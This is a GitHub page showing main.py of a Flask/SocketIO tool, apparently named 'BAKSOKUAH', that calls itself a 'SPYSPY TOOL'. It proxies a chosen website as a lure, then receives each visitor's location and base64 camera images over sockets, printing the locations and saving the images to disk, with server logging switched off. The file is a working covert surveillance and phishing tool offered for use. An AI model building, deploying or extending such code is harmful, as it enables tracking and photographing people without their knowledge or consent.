forked from salismazaya/baksokuah
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
58 lines (45 loc) · 1.46 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from flask import Flask, render_template
from flask_socketio import SocketIO
from dotenv import load_dotenv
from bs4 import BeautifulSoup as bs
import os, requests as r
import logging, base64, time
log = logging.getLogger('werkzeug')
log.disabled = True
load_dotenv()
os.system("clear" if os.name == 'posix' else 'cls')
print("[ BAKSOKUAH ]")
print("[ SPYSPY TOOL ]")
URL = input("\n[?] URL To Forward (using http/https): ")
app = Flask(__name__)
app.config['SECRET_KEY'] = 'salisganteng'
app.logger.disabled = True
socketio = SocketIO(app)
@app.get('/')
def index():
global URL
html = r.get(URL).text
soup = bs(html, 'html.parser')
for a, b in [
('script', 'src'),
('a', 'href'),
('link', 'href'),
('img', 'href')
]:
for x in soup.find_all(a, {b: True}):
x[b] = URL + x[b]
return render_template('index.html', html = soup.prettify())
@socketio.on('location')
def on_location(data):
print("[!] Location :", data)
@socketio.on('image')
def on_image(data):
image_bytes = data.split(',')[1].encode()
image = base64.b64decode(image_bytes)
file_path = f"static/{int(time.time())}.jpg"
open(file_path, 'wb').write(image)
print(f"[!] Image : http://127.0.0.1:8888/{file_path}")
if __name__ == '__main__':
print("\n[+] Server listening in port 8888")
print("[+] Ready to spyspy!")
socketio.run(app, host = '0.0.0.0', port = 8888, debug = os.environ.get('DEBUG', 'False') == 'True')